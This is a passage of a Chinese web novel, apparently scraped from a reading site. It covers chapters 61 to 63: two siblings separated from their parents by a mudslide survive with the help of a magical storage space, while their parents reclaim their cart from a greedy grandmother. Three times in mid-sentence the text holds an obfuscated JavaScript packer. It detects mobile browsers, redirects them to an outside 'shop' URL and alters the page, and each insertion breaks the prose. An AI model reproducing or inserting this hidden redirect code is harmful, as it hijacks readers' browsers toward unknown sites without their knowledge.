搓搓胳膊,赵宁宁回空间简单洗了个澡,换好衣服后出空间继续守着赵启。 他双眼紧闭着,没有苏醒的迹象。 一直到天黑,哥哥都没有醒过来的意思,赵宁宁回空间又热了些包子馒头,给赵启准备了一锅粥。 粥煮好先放一边凉着,赵宁宁把自己肚子填饱之后,摸摸粥碗凉得差不多,才拿勺子去喂赵启。 只可惜,他不太配合,一勺粥根本喂不下去多少。赵宁宁只能舀着汤水给他喂了一些,又回空间给他热了一瓶柠檬水。 柠檬水他倒是喝下半碗。 赵宁宁从空间里把剩下两把伞给拆开拼成一个小小的,她能蜷缩起来的隔水垫。 在上面铺上被子,赵宁宁就蜷缩在赵启旁边。 隔着火堆,赵宁宁时不时去摸一下赵启的头。 她怕他发烧。 另一头。 宁爸和宁妈在泥石流冲过来的时候下意识地去找两个孩子。 身后没有,车里没用,车旁边也没有! 宁妈眼尖地看到了有两个模糊的影子一高一低的像是宁宁和小启,不等她出声,一大股泥石流将她和宁爸推到另一边。 所有人都陷进泥泞之中,整个人都埋了进去! 宁妈顾不得空间暴露,直接用空间把身边的泥浆给收进去,泥浆塌陷,她的头很快就接触到了空气。 她不敢耽搁,循着记忆去找身边涌动的泥浆,照着有动静的地方用双手一边刨一边偷偷往空间收泥。 她的判断很准,一下子就刨到宁爸,两人出来之后,宁妈把手**泥里,借泥浆的遮掩,直接从空间里拿出两把铲子。 两人各拿一把,对着有动静的地方铲两下,扒拉几下,把人头露出来。 周边能救的救出来,看其他地方没动静之后,宁妈在后头再小心把那些人的胳膊和肩膀给刨露出来,这样他们可以自己扒拉泥浆。 一开始是出来了一个汉子,他立马投入到挖人的行列中。 一个两个、三个四个。 越来越多的人从泥里爬出来,出来之后他们将附近的泥又刨了一遍,找出来两个昏迷的人。 还找到了更远处几个已经在泥浆里咽气的人。 总共二三十来个人看着这片泥地都有些沉默。 末了,有人说:“我被埋进去之前,好像看到走在前头的人都跑到另一边了。” “是啊,他们好像没被泥石流给波及到。” 几人声音低低地说着。 宁爸也想起来,他们家的车连着骡子好像是没被泥石流给淹到来着。 当时一切发生的太快,他急着找赵启和赵宁宁,来不及管两个牲畜。 他和宁妈往看的时候,才被汹涌而来的泥石流给卷进去。 也不知宁宁他们怎么样了。 宁爸揪心得很。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229785|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁妈又何尝不是,她眼眶直接红了,黑漆漆的夜,安静得只剩下雨的声音,一点声响都没有。 要是有声响,他们还能有些盼头……可刚才,泥石流直接把他们给冲下去了。 “我们去底下找找。”宁爸对其他人说:“还下着雨,你们要不要先去山上找里正他们?” 里正他们走在前头,应该是躲过泥石流的。 那群人点点头又摇头。 “我们的包袱还在这底下埋着呢,我们想先找找。” “是啊!赵老二,今夜多亏有你们,你们要找啥,我跟着你们一起去找吧!” 有几个热心的汉子妇人立马站出来说要帮忙。 宁妈摇头直言拒绝了他们,带着宁爸借着微弱的光线走到刚才被泥石流冲开的地方。 四周无人,宁妈从空间拿出雨伞,宁爸打开,她又掏出火把点亮。 这才能看清周围的环境。 看清之后,宁妈和宁爸脸色都不太好。 顺着泥石流的轨迹,底下是——洪水! 洪水水面的高度已攀升到他们刚才进山的路口,估摸着有两三米高! 上有泥石流,下有洪水,刚才无论怎么走,都凶险无比。 宁宁和小启恐怕是凶多吉少。 看着波涛汹涌的洪水,宁妈和宁爸再也忍不住,对着水面掉下泪来。 “宁宁……小启……”宁妈哭道:“你们一定会没事的对吗!” 平日里话最多的宁爸默默地跪在洪水边上,默默掉着眼泪。 两人哭了一会,沿着水边往前走了一阵子,水位越来越高,他们不得不离开这里,往山上走。 怕被村里人看到火把的光,宁妈和宁妈只能摸黑借着昏红的光线往山上走。 好在走散的队伍因着山路难走,才走到半山腰的位置。 队伍还有火光,时明时灭的火光如同引路星一般,在漆黑的夜里格外显眼。 宁爸宁妈循着光走过去,到了队伍,村民一阵喧哗。 “你们来怎么从山下来的?山下怎么样了?” “刚才赵老二说下山去找东西……” “铁牛啊,你东西找着了吗?” “快快,赵老二回来了,把他家的骡子和马牵过来!” 一阵闹腾过后,宁爸先是答了底下的情况:水已经把他们来时的路口给淹了,现在水面还在一直在上涨。 接着他看向村民让出来的道——自家架子车的方向。 钱婆子正牢牢把着车把,一副不肯撒手的样子。 她身边,站着老赵家其他几个人。 “钱婆子,赵老二都回来了,人家马车该还过去了吧?” 有人好心催促。 但这份好心不是钱婆子想要的好心,她紧了紧握着车把的手,“啥还不还的!这车叫我领走了,就是我的!” 有人小声给宁妈他们解释:“你家马和骡子受惊之后往山上跑了好一段路,刚好村里人看见,给拉回来了。” “你们俩在后头找东西没上来,我们说你们待会就回来,没想到你娘……这钱婆子,就站在车前头不走了,说你**,你的车按说是给她的。” 宁爸宁妈上来之前,钱婆子正跟村里人辩解着呢! 老子**,东西由儿子继承。儿子**,东西留给老子那不是很正常! 没想到这个老二福大命大,都被埋进泥里了还能逃出来。 但既然这车被她拿到,她才不要还回去! 钱婆子跟着村里队伍出发的时候瞟了一眼,赵老二的车后头绑着一大块油布,里头鼓鼓囊囊地塞着干柴。 就连马和骡子身上都披着油布呢!那油布这么好,待会扯下来自己披身上,再也不用淋雨了。 钱婆子心里计划得很好,连油布待会怎么分都想好了。 宁爸顺着村民让出来的路走上前,道:“把车还给我们。” “这车都被我们占了,让我们使使又怎么了!”钱婆子不依不饶,“好歹你是我怀胎十月生下来的一块肉!” 钱婆子又开始道德**。 她也不想想平日里是怎么对赵老二一家,是怎么三番几次想害宁宁的! 第61章 流落在外 想到宁宁,宁爸眼圈一红,怒道:“还给我们!” 宁妈默不作声走到车厢门口,往里头伸手一抓,拿出一把刀,“还不走!?” 看见大刀,钱婆子脖子上的疤立马隐隐作痒起来,她不自在地摸摸疤痕,恼羞成怒地对赵老二说:“老二!你就纵容着你媳妇这样对我!” “她的意思就是我的意思!”宁爸力挺宁妈,站在车边上,他说:“这马车是我们的。” 钱婆子眼睛滴溜滴溜转,看向一旁的赵老头、赵老大、赵老三。 赵老三出来劝:“二哥,我叫你一声哥,你别跟咱娘一般计较。” 他先说了软话,紧接着说:“这一路走来咱娘也是不容易,家里穷,那匹瘦马拉不动车,她坐一会马车便要下来走。” “到黄石县,瘦马被收走,这几天咱娘都是步行走的。” “前几天晒,今天又下雨的,咱娘她也不容易啊!” 钱婆子趁机掩面呜呜哭起来,混着雨水,谁也不知道她脸上是泪还是雨。 赵老大看得于心不忍,怒冲冲地对着宁爸说:“你难道忍心看咱们老娘这么辛苦吗?” “她辛苦又不是我造成的。”宁爸无语:“你的好大儿不逼着她拿二十两娶媳妇,她不就有钱买马了!” 旧事重提,赵老大你了半天,都说不出话来。 往日里,二弟才是家里最沉默寡言那个,自从断亲之后,他嘴皮子越来越利索了! 何氏看不下去,帮衬着说:“钱婶子,要不是老二他们,咱们队伍哪能走到现在!” “就是念着他们帮咱们队伍这么多次,你也不能强占他们家马车啊!” 村民纷纷附和。 “是啊!之前老二还帮我挡下一个贼人的大刀呢,要不是他,我小命都交代在那了……” “那我要说了,好几次都是赵老二他们耳聪目明的第一个发现贼人的动静,要不是他们提醒,咱们队伍……” “现在逃荒这么危险,谁也保不准会不会遇到危险,老二两口子能打,咱们可不能让他们寒了心!” “就是!” “……你别忘了,那钱婆子可是两次都要卖亲孙女的。” “不然赵老二这么老实的汉子,哪会跟家里闹得要断亲。” “就是啊!哪有断了亲还三番几次要东要西的!” “呸!要东要西,就是不要脸!” 钱婆子听见有人这样骂自己,气得脸都红了。 只不过天黑,谁也没看见。 “钱婶子,你就把车还给人家铁牛吧!” “还给他吧!不是你的就不是你的!咋说都不占理!” “我、我!”钱婆子梗着脖子,“还也可以!他们得把四小子过继过去!” “三小子没了,老二家后继无人,把四小子过继过去,我啥也不说就把马车还给他们!” 宁妈反应了一下,才意识到钱婆子说了什么话。 她架起大刀:“你说谁没了!” 大刀朝钱婆子劈去,钱婆子吓得猛一窜,躲在一边,嚷嚷:“**了!**了!” 她不过是想着老二家现在一个孩子都没了,把四小子过继给他们好占便宜。 她可没想到老二媳妇是个疯的,二话不说就拿大刀**啊! 村民们意思意思略微挡了一下,让宁妈把钱婆子追出去二十来米远。 钱婆子摔了个狗啃泥,连连求饶,宁妈这才放过她。 宁妈这般模样,吓得赵老三远远便躲开。 宁妈回去的时候,赵老大明显地瑟缩了一下,他看了一眼旁边的赵老头,赵老头都没吭声,赵老大老实地也不说话。 赵家的人起初还不愿意让开,旁边的村民怕真闹出人命,你扯一下我推一把,硬是把他们几个臭不要脸的给推开。 怕他们再打起来,村民特意分成两波,中间站了好些人把他们隔开。 刚才出声帮衬着说话的村民把缰绳拉起来塞到宁妈手里,安慰她别生气了。 一群人围着宁爸宁妈嘘寒问暖,还有人送来火把,宁爸和宁妈心底的怒气渐渐消退。 道谢拿了火把之后,宁爸去检查两个牲畜和架子车的情况。 车身上不知道撞到哪里,破了个砂锅一样大洞,雨水潲进去了一些。 好在空间里还有木板,等会找到歇脚的地方还能补。 两只牲畜被泥石流吓得有些不安,被平日里喂养自己的人类摸了摸顺了顺**之后,才渐渐安静下来,只时不时撂个蹶子。 这波人里没见着里正他们,村里人带着仅剩的家当,继续冒雨往山上走。 一边走,宁爸宁妈一边担心两个孩子。 雨一直下。 赵宁宁打了个激灵,朦胧睁开眼,这才发现自己不知道什么时候迷迷糊糊地睡着了。 天亮了。 虽然天阴沉沉的,好在天亮了。 想到哥哥,她忙爬起来去看。 赵启的脸红红的,不知道什么时候发起烧来了! 赵宁宁回空间去看时间,现在是早上七点。 她记得自己最后一次看时间的时候是三点半。 ——还好,还好没有耽搁太久。 赵宁宁跌跌撞撞地去找药箱,扒拉到退烧药和体温计,一起拿着去厨房。 烧了一些热水,和凉白开一起混成温水。 蹲在赵启旁边,赵宁宁先把退烧药撕开泡在水里,混合均匀之后,才一点一点喂赵启喝下。 看他喝完后,赵宁宁把被子掀开,用体温计去给他量体温。 一分钟后,电子体温计滴滴响,赵宁宁拿出来一看:39度。 烧得有点厉害。 已经给他喂了退烧药,接下来就只能祈祷他能平安退烧。 赵宁宁起身,想着给自己弄点吃的,一起来才觉得自己浑身软趴趴的。 风一吹,她忍不住打了一个冷战。 ——该不会我也发烧了吧? 赵宁宁一边想,一边拿来体温计夹在腋下。 一分钟后,赵宁宁一看,体温计上显示的40度! “好家伙,比哥发烧还厉害些。”赵宁宁把体温计小心收好,从药箱里再拿出一包退烧药,给自己冲开喝下。 本来还想去捡些柴火,现在看来是不行了。 赵宁宁回空间,把刷新出来的雨伞伞面给取下来带出空间铺在地上。 这下他们两个都能把腿伸直了。 赵宁宁回去把被子抱出来,盖在身上。 早饭都来不及吃了。 赵宁宁发烧得迷迷糊糊,一会清醒爬起来加点柴,一会陷入昏睡中。 这样过了三个小时,也许是退烧药起作用,赵宁宁出了身汗,感觉要比刚才轻松一些,拿体温计量量,她退烧了。 三十七度多。 现在还不到吃药的时候,赵宁宁去给赵启量量,他还在烧,不过是三十八度,比早上要好一点点。 赵宁宁回空间看了一眼时间,这会还不到十一点,她早上没吃饭,哥哥也没吃东西。 昨天做的粥被刷新了,赵宁宁认命地重新煮了一锅,煮好后连锅带粥一起端出去。 赵宁宁还给自己热了两个包子。 等粥凉的差不多,她先端给赵启,用扁扁的铁勺一点一点地往他嘴里塞。 赵启喝了半碗粥水。 喂过他,赵宁宁自己才到另一边吃饭。 锅就在火堆旁边,粥还温着,赵宁宁一口粥一口包子,三两下吃完。 外面的雨依旧没有停歇的意思。 赵宁宁吃饱喝足之后,把锅盖好放在棚子的角落。 昨天收集的柴火烧得差不多了,她得再去找一点。 不然躺在这荒郊野外的,晚上没点光亮可不行。 赵宁宁打着伞去附近找断掉的枯枝,按照以前的法子,她先是找了个长棍子,拿着棍子在地上扫,凡是棍子碰到的柴火,她都能直接给收进空间。 收集的差不多,她进空间把湿哒哒的柴火给甩一甩,再带到棚底下借着火堆慢慢烤干。 这样来回干了俩小时,赵宁宁累得有些气喘吁吁。 回去歇了会顺便看看哥哥,体温计一拿出来,赵宁宁有些失望又有点担心。 38度,还没退烧。 失落了一会,赵宁宁打起精神,去空间甩干柴火。 正干着,远处突然响起了人声。 赵宁宁警惕起来,她直接闪身出空间,把地上的被子和柴火都收起来。 看了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229786|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼旁边的赵启,赵宁宁犹豫了一下,没收他身上的被子。 “哎!栓子!你看那是什么?” “棚子?这是啥棚子啊?怎么看上去这般奇怪?” “走走走!别管啥棚子了,看上去能躲雨,咱们过去躲一躲!” “快淋**!” 听声音,是一男一女。 赵宁宁回头看了一眼哥哥,暂时按兵不动。 “呀!这棚子底下有个小姑娘。” 那两人走近,一个是矮胖一些的妇人,另一个是瘦高的青年男人。 这两人的脸看上去有些像,应该是母子。 他们不是王李村队伍里的。 那两人走到棚子底下才发现,这里原来已经有人了。 想也是,这荒郊野地的,要不是为了挡雨谁会在这里支起来一个棚子? 妇人扫了一眼,一个看上去只有七八岁的小姑娘,旁边躺着个少年,看脸年岁也不是很大。 两个小孩,应该好说话。 “小姑娘,我跟我儿子遇见泥石流和村里人走散了,淋着雨走了一天,能不能让我们进去躲躲?” 妇人努力地挤出和蔼的神色问。 “可是,我爹娘和大哥他们就在附近捡柴火,一会就要回来了。” 赵宁宁说:“我们棚子可小了,我们自己都不够用。” 他们家的爬爬垫只比普通的双人床大不了多少,扎在树枝上,底下能容下两人躺着。 再来两个人,底下都挤得慌。 “我们就躲一会,咱们挤一挤。” 那妇人厚脸皮地就要挤进来,赵宁宁一把推开她,大声喊:“爹!娘!大哥!快回来啊!有人要抢咱家棚子!” 这小姑娘一点都不给面子地乱喊,那妇人又急又气,跺跺脚,伸手就要去捂人家的嘴。 赵宁宁躲开,大喊:“爹!娘!快回来!” 远处似乎真的传来了有人说话的声音。 没法子,妇人不得不放弃,临走之前,她一伸手就要去扯棚子顶上那花花绿绿的油布。 赵宁宁岂会让她遂愿,从腰间摸出藏好的**,**直接扎那妇人的手。 那妇人被扎,伸手还想打她,赵宁宁歪头闪过,惊喜地看向她背后:“爹!” 妇人以为这小姑娘的家里人回来,吓得手一缩,带着儿子急匆匆地往前跑。 跑了几步,他们躲在树下往棚子的地方看去。 ——哪有什么人! 连棚子都没了! 他们俩不死心,折回去看,只见到刚才搭棚子的地方只留下来了一个被雨水浇灭的火堆。 棚子连着树枝都不见了,地上留下一条长长的拖拽痕迹。 要是家里有大人,用得着这样拖着人走?妇人和儿子立马反应过来。 “死丫头!竟然骗我!走,栓子,咱们追上他们,把他们的棚子抢过来!” 妇人恶狠狠地踢了一脚地上的灰堆。 两人顺着拖拽的痕迹,匆匆往前追。 赵宁宁刚才趁他们转身离开之后,冒险把爬爬垫收回空间。 被子也收回去,她只给赵启盖了一条浴巾,怕他淋到雨,赵宁宁用雨伞伞面拆下来给他盖在了身上。 她力气小,赵启身下的被子也只能先收回空间里,被子收进去,她拖着赵启身下的雨伞伞面,连着人一起往前拖着走。 刚走没几步赵宁宁便发现地上的痕迹很明显。 她只能一边走一遍脑筋急转弯,突然,赵宁宁想到自己被钱婆子和孙氏丢进凹坑的事。 这里是山上,应该也有这种地方。 赵宁宁一边吃力地走着,一边朝四处看,功夫不负有心人,还真让她找到一处凹下去的地方。 里头没有积水,赵宁宁把哥哥拖过去,仔细地用伞面挡好他的脸。 接着从空间找出一根粗草绳,把鞋柜的柜门拆开绑上去,试了试拖出来的痕迹跟刚才差不多。 赵宁宁把哥哥这边的拖拽痕迹给清理掉,走到另一边从空间里拖出鞋柜门,撒丫子便往前跑。 她一边跑一边记着回去的路,在坡上绕了一圈,赵宁宁把鞋柜门拖到水边,收回空间。 收回空间的瞬间,赵宁宁眼前弹出来一个系统提示框。 第62章 空间权限解锁 来不及看,那两人已经追了上来,赵宁宁一个闪身钻进空间。 妇人和她儿子顺着痕迹跑到水边,看着拖拽的痕迹一直没入水中,且没有走回去的脚印,栓子急了:“娘!他们是不是跳水走了!” “不可能!”妇人想都没想,“她一个丫头带着一个昏迷的小子,怎么可能从水里走!” “肯定还在附近!” 妇人笃定地说,说完,她低下头去看地上泥泞的拖拽痕迹。 看完之后,妇人气急败坏地骂道:“死丫头竟然敢骗我们!栓子!他们没走远!说不定还在后头呢!” 虽然不知道这丫头是怎么走回去还不留脚印的,但是她能看得出,这地上的拖拽痕迹,分明比刚才浅了许多。 也就是说,中途这个死丫头把拖着的人换成了其他东西。 那个昏迷的人还在来的路上!看那丫头宁愿费劲拖着也要带走他的架势,只要找到昏迷的小子,就能要挟死丫头把油布交出来! “娘!什么叫他们还在后头?他们不是进水里了吗?”栓子不理解,他明明看着这痕迹没入水里的! “这拖拽的痕迹是那死丫头弄出来的障眼法,走!咱们回去把昏迷的小子给找出来,不怕那丫头不肯把挡雨的油布交出来!”妇人怕刚才那个小姑娘发现不对,说完话急匆匆顺着刚才来时的路往回走。 在空间里听了个全程的赵宁宁焦急无比。 她可以交出爬爬垫,但她哥怎么办!她哥不能进空间,雨伞伞面太小,当棚顶需要手缝。 等他们走后,赵宁宁闪身出空间,在空间外,灰蒙蒙的环境里,赵宁宁才注意到刚才系统弹了一个提示框。 【系统:恭喜宿主解锁新区域:赵启房间!】 哥哥房间解锁了!赵宁宁微微高兴了一瞬,她叉掉面板,准备赶紧回去找哥哥。 没想到,弹框下面还有一个系统提示。 【系统:恭喜宿主开启新权限!可以邀请房间主人进入空间。】 赵宁宁:! 如果没理解错的话!她可以带哥哥进空间了是吧! ——有救了! 冒着雨,赵宁宁绕路赶在那对母子之前赶到了刚才藏哥哥的凹坑处。 抓着哥哥的手,赵宁宁默念:进! 下一秒,头顶的雨珠消失,熟悉的电梯厅的灯光出现。 赵宁宁手里仍旧拉着赵启的手。 “成功了!成功了!”赵宁宁高兴万分。 空间外。 “娘!这里有脚印!” 栓子指着地上。 听到有脚印,妇人急忙过来看,比了比大小,正是刚才逃走那个死丫头的。 脚印里的积水不多,说明这脚印的主人刚从这里走过去没多久。 “追!” 两人顺着脚印来到一处凹坑。 凹坑底下的泥痕有些乱,明显是刚才在这里放的有东西。 脚印只到这里就消失了。 妇人皱眉环顾四周。 这块地方没有林子也没有什么遮挡,一眼看过去,一处能躲藏的地方都没有。 “去哪了!去哪了!”妇人念叨着,顺着脚印又走远。 等他们走远,赵宁宁才放下心,转头去看她哥的情况。 赵启还在发烧,好在身上没有被雨水淋湿。 把他拖回家里,一路畅通无阻,只要是赵宁宁之前开启过的区域,他都能去。 把人放在客厅的地毯上,赵宁宁去拿之前的铺底铺在地上,铺好之后,赵宁宁把赵启推到这上面。 最后再给他盖上她之前在空间盖的夏凉被,赵宁宁这才有时间喘气。 先去厨房拿了一瓶饮料喝下,喝好之后赵宁宁又回来给赵启量体温。 好消息,体温没有变高。 坏消息,还是三十八度。 赵宁宁去简单洗了个澡,包着头发去做饭。 她拿出平底锅,先调一小碗面粉水,开火的时候从冰柜里拿出一袋子生的煎饺。 锅热之后把生煎饺丢进去,面粉水也倒进去,扣着盖子不用管。 这个空隙,赵宁宁给自己调了辣椒醋,煎饺熟得差不多时,赵宁宁顺着锅边淋下去一层油。 顺便也把粥给热上。 锅里热闹地崩了一会油星,再掀开锅盖的时候,煎饺底下的冰花黄澄澄的,看上去诱人极了。 粥也热好了。 赵宁宁盛出两碗放在一边晾着,自己先去吃煎饺。 热乎乎香喷喷的煎饺吃进肚子,赵宁宁眯起眼,隔着厨房的玻璃推拉门往外看。 哥哥正安静地在睡着。 三下五除二吃下饺子,赵宁宁端着凉得差不多的粥去喂哥哥喝下。 喝完粥,赵宁宁喂他喝下退烧药。 抽空看了一眼外面,外面天都黑了。 仍旧在下雨。 赵宁宁叹气,看来要等这个雨灾过去,天上的雨才能停。 她把自己的头发放下来,去洗手池找来一块干净的布巾,端来一盆热水放在哥哥旁边,用热水给他擦擦脸和脖子。 算算吃过药差不多有俩小时了,赵宁宁给哥哥量体温。 看着上面的温度终于降到三十七度,赵宁宁放下心来。 终于退烧了! 睡觉之前,赵宁宁还去给哥哥又量了一次体温。 仍旧没有发烧。 怕客厅太黑,哥哥有什么情况自己不能及时看见,赵宁宁特意把玄关的灯开着。 做完这一切,赵宁宁放心地睡下。 睡到半夜,她还爬起来给哥哥又量了一次体温。 半夜没有发烧的话,第二天基本上不会再发烧了。 一觉睡到第二天,赵宁宁再睁眼的时候,看到原本在地上躺着的哥哥正坐在地上发呆。 “哥!” 赵宁宁从沙发上跳下来,到哥哥旁边。 赵启摸摸还有些发疼的后脑勺,问:“妹妹,我是在做梦吗?” 究竟是做了一个穿越古代的梦,还是做了一个能回到现代的家的梦? 赵宁宁拉着他的手:“哥!咱们遇到泥石流,跟爸爸冲散了,你还记得吗?” 赵启点头,“我记得。” “我醒过来的时候咱俩在一个坡上……”赵宁宁把醒过来之后的事跟赵启讲了讲,顺便也把他有权限进空间的事跟他讲了。 赵启把赵宁宁昏迷的时候发生的事也跟她讲了。 原来那天晚上赵宁宁一下子就被一道木头给拍晕了,赵启拉着她的手,随着泥石流一同滑向后面奔涌而来的水里。 入水之后,他努力地拖着赵宁宁浮起来,后面赵启找到一根浮木扒着,让赵宁宁趴在上面。 两人顺着湍急的水流不断往后退,赵启努力稳住木头和妹妹,想办法往岸边靠。 从夜晚漂到白天,趁着光线好,赵启终于看到下游处有一块凸起的坡地,坡地旁边还有一根枯木。 只要能游到那个范围,应该可以被枯木拦住。 赵启努力地划水,带着妹妹往前游。 游到一半,他的后脑勺忽然被一股力道击中。 赵启失去意识之前,下意识将妹妹朝岸边推了一把。 赵宁宁听完,后怕得不行。 差点她跟她哥的小命就要交代在这里了! “还好你有空间,还好现在我有权限进来了,不然这会我还要在外头淋雨呢。”赵启苦笑。 一场泥石流,刚好把他们两个和父母分开了。 唯一称得上安慰的事是,两边都有一个人有空间,至少不用担心吃的。 “没事,等你好点,咱们再追上去。”赵宁宁回忆了一下说:“之前不是说过吗,走丢了就去下一个县城等着。” “刚好你也能进空间了,咱们白天赶路,饿了回来做饭吃,晚上直接回来住,也不用值夜。” 赵启点头。 “对了!你房间也解锁了,你快回去看看!”赵宁宁起身:“我去把包子热一下,我们好吃饭!” 赵启跟着起身,他这两天都没吃什么东西,虚弱地晃了两下,他说:“我来吧,我给你做饭吃。” 哥哥做粥可好吃了!赵宁宁围在他旁边怕他累着,顺便去给他打下手。 早上吃粥最好,赵启把煮粥用的砂锅拿出来,添上水架在天然气炉子上。 米淘洗好连着香料一起倒进去。 赵宁宁已经帮忙把皮蛋剥好了,赵启拿过去洗净切成块备用。 顺手还切了几片姜加进锅里。 肉末有现成的,从冰柜里掏出来化冻就行了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229787|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 等大米煮得差不多,把肉末加进去,连着皮蛋一起煮,没有加其他调料都香得要命了。 赵宁宁站在锅边猛嗅。 赵启看到,感到好笑。 让粥煮着,他去冰柜里掏出一包小笼包。 把小笼包放在蒸锅里热上,赵启叮嘱宁宁看着点锅,他去洗漱。 厨房里就有小桌子,粥好之后,赵启不让宁宁端,他亲自端过去,一人盛了一碗。 赵宁宁喝了一口,美得不行,“哥!你做的粥真好喝!” 赵启笑笑,“快吃吧,吃完咱们赶路。” 赵宁宁:“你不休息一下吗?” 他摇摇头,“咱们被水流冲到下游不知道有多远,早些出发,不然赶不上爸妈。” 还有一点,现在天上下着雨,之前规划过的路线肯定走不了了,山路又不好走又要绕路,还是早些出发比较好。 赵宁宁点头,慢慢把粥喝下。 不是她不着急,而是这粥烫嘴啊! 等粥凉的时候,赵启去自己房间逛了一圈。 有一年多没回来过了,这里还是跟之前差不多。 看到自己的电脑电源还亮着,赵启眼睛一亮,走过去坐下把电脑打开。 键盘一按,原本息屏的电脑立马亮起来,赵启输入密码进去,右下角果然是没有网络的。 不过他不怕,他硬盘10T,里面全是之前下载的乱七八糟的资料。 其中大部分资料和视频都是手工相关的教程,还有一些书籍扫描件。 电脑能用就可以,赵启把它关上,去找床头的手机。 手机打开,里面也是没有网络的。 好在其他不用联网的功能都可以用,赵启把手机揣在怀里,去找他的机械表。 这个机械表是他们出去旅游的时候爸妈非要买的,一家四口一人一个,后面上大学赵启换成了电子表,这个就闲置了。 电子表和机械表都拿出来,赵启带出去让宁宁选一个戴上。 这样在空间外头看时间就方便了。 赵宁宁选了机械表。 吃过饭,赵启让赵宁宁帮他看了看伤口,伤口有些发红。 重新消毒包扎,收拾得差不多,赵宁宁和赵启一人一把伞离开空间。 外头还在下雨,昨天那对母子找了好几圈都没找到人,骂骂咧咧走了。 赵启辨认了一下方向,带着宁宁朝北边走。 身后是奔腾不息的洪水,前头是绵延不绝的山脉。 赵启带着宁宁埋头往前走,雨不停,他们一口气走到中午。 看看时间十一点了,他们一口气走了三个小时,赵宁宁擦擦走出来的汗,“哥,你累不累,咱们回去休息一下吧?” 赵启点头,赵宁宁闪回空间。 等了等,赵宁宁没见着哥哥跟过来,瞪大眼看向空间外头。 赵启还在外头。 她出去,问:“你怎么不回家?” 赵启无奈耸肩,“我刚才试了,完全没有反应。” 赵宁宁想了想,拉着他的手,想着带哥哥回去,这下,两人顺利地回到空间里。 “看来是要你‘邀请’,我才能进来。”赵启说。 刚发现宁宁空间能进人的时候他们什么法子都试了,发现在宁宁拉着他们的时候才会有【无权限进入】的提示。 “那咱们走路的时候别离太远,万一有什么情况,我拉着你躲空间。”弄明白之后,赵宁宁就把哥哥松开了。 两人简单吃了一点,各自在沙发上休息了一会。 下午接着出发,雨不停,山路难走,直到天黑他们才爬到山腰处。 赵宁宁拉着他回空间休息。 晚上休息时间长,赵启用冰箱和冰柜的食材,给妹妹做了一道番茄土豆炖牛腩。 他特意多做了一点,留着明天中午吃。 这样中午就不用吃馒头包子了。 赵宁宁吃饱,幸福地滚到沙发上去休息。 赵启把自己的笔记本电脑抱出来,喊赵宁宁一起看电影。 “哥!你还在电脑下载了电影!”赵宁宁瞪大眼。 “之前坐高铁飞机无聊下载的,内存大就没删。”赵启把列表拉出来,“可能都是你看过的,你看看有没有想看的?” 第63章 在下温子川 “想!我可太想了!”赵宁宁抓住鼠标,随便翻都是她没看过的。 毕竟穿越之前她才刚考完高考,平时的时间有限,除非是大热的她感兴趣的才会抽空去看。 两人就着笔记本小小的屏幕看,龙头刚出来,赵宁宁忽然想到他们家电视可以投屏来的。 让哥哥把电影导到手机上,再用手机投屏,赵宁宁抱着抱枕往沙发上一坐,“快来快来!” 沙发上还有每天会刷新的薯片,赵宁宁不客气地直接撕开拿到哥哥手边。 赵启起身去厨房,洗了两串葡萄出来,放在小推车上,两人一边看电影一边吃。 别提有多舒服了。 两个小时的电影看完,赵宁宁差不多也困了,直接往沙发上一躺一盖被子,赵宁宁直接进入梦乡。 醒来吃饭,吃完饭赶路,走累了休息,歇好接着走。 这样赶路走了两天,赵宁宁他们才遇到人。 远远看到有人,赵宁宁两人没有贸然过去。 而是远远地缀在后头。 想到接下来可能路上还会遇到其他人,赵启开始一边走一边薅路边的长得高的野草。 之前从何氏那里学了两招编帽子的手法,赵启按照编帽子的编法,稍微编长一些,最后用草编了一个“斗笠”。 拿出去试了试,有些漏水,不过没关系,赵启照着雨伞伞面的大小编的,再编一层垫在下面,这样外头看,只是普通的草编伞。 第一个做好他先拿给宁宁让她放空间里。 赵宁宁负责盯梢,一边盯一边走,这样走了两天,赵启日夜不停,才编出来了两顶草编雨伞。 中间插个棍子支着,简陋的伞便做好了。 这伞又重又没法收起来,两人决定继续尾随这群人走,等不得不出去的时候再拿伞出去。 继续往前走的时候,赵启继续薅草,薅完拿给宁宁让她放着。 晚上回空间的客厅里,一边看电影,一边做草编蓑衣。 又走了三天,赵宁宁和赵启随着这群人爬到了一个山头。 从山头上往山下看去,一片**。 好在现在的雨势比之前要小一些,不然赵宁宁真要怀疑这样下下去会不会山头也给淹没掉。 水那么深,地势低的城镇估计已经被完全淹没了。 雨不停,底下的路就别想着走了。 只能沿着山脉走。 赵启和赵宁宁依旧是躲在这波人后面走。 